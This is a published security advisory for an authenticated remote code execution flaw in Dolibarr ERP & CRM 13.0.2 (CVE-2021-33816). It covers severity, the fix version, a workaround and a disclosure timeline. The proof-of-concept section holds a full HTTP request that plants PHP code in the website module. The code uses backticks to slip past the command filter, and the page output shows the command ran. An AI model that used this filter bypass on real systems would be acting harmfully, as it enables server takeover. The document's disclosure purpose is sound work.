Dolibarr ERP / CRM 13.0.2 Remote Code Execution Vulnerability

Authenticated remote code execution in Dolibarr ERP & CRM
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Overview
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Advisory version: 1.0
Advisory status: Public
Affected product: Dolibarr ERP & CRM
Tested versions: Dolibarr 13.0.2
Vendor: Dolibarr foundation, https://www.dolibarr.org
Credits: Trovent Security GmbH, Nick Decker


Detailed description
####################

During our security research Trovent Security discovered
that the Dolibarr application on default settings allows remote code execution
in the website builder module. When trying to use statements like "exec()",
"system()" or "shell_exec()" the application blocks them correctly.
But we were able to execute code using "``" (backticks) which is the same as
"shell_exec()" or "echo fread(popen('/bin/ls /', 'r'), 4096);".

Severity: Critical
CVSS Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE ID: CWE-94
CVE ID: CVE-2021-33816


Proof of concept
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This is the HTTP request that creates a website with the malicious code:

REQUEST:

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POST /website/index.php HTTP/1.1
Host: 10.11.9.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------243035796342141148842632336365
Content-Length: 937
Origin: http://10.11.9.80
Connection: close
Referer: http://10.11.9.80/website/index.php
Cookie: DOLSESSID_736206a821984837877b8a6a901910d2=v459clrdeu91pfc20se8s0rg4d; DOLUSERCOOKIE_boxfilter_task=all-securitytest-for-dolibarr
Upgrade-Insecure-Requests: 1

- -----------------------------243035796342141148842632336365
Content-Disposition: form-data; name="token"

f8c257168a5ae06fd1aee2ba4c45ebf9
- -----------------------------243035796342141148842632336365
Content-Disposition: form-data; name="backtopage"


- -----------------------------243035796342141148842632336365
Content-Disposition: form-data; name="action"

updatesource
- -----------------------------243035796342141148842632336365
Content-Disposition: form-data; name="website"

test
- -----------------------------243035796342141148842632336365
Content-Disposition: form-data; name="pageid"

1
- -----------------------------243035796342141148842632336365
Content-Disposition: form-data; name="update"

Save
- -----------------------------243035796342141148842632336365
Content-Disposition: form-data; name="PAGE_CONTENT"

<?php
echo `uname -a`;
?>
- -----------------------------243035796342141148842632336365--


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CODE:

The website now displays the output of the command:

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[...]
<div id="websitecontentundertopmenu" class="websitecontentundertopmenu boostrap-iso">
<!-- style of website from file -->
<style scoped="">
/* Include website CSS file */
/* CSS content (all pages) */
body.bodywebsite { margin: 0; font-family: 'Open Sans', sans-serif; }
.bodywebsite h1 { margin-top: 0; margin-bottom: 0; padding: 10px;}/* Include style from the HTML header of page */

</style>
<div id="divbodywebsite" class="bodywebsite bodywebpage-tsets">

Linux ec9465c86e5e 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux

</div></div>
[...]


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Solution / Workaround
#####################

We recommend to disable the 'websites' module in Dolibarr until a fixed version
is deployed.

Fixed in Dolibarr version 14.0.0, verified by Trovent.


History
#######

2021-06-01: Vulnerability found
2021-06-02: CVE ID requested
2021-06-03: CVE ID received
2021-06-09: Vendor contacted
2021-06-10: Vendor reported the vulnerability as fixed
2021-11-08: Add information about fixed version
2021-11-10: Advisory published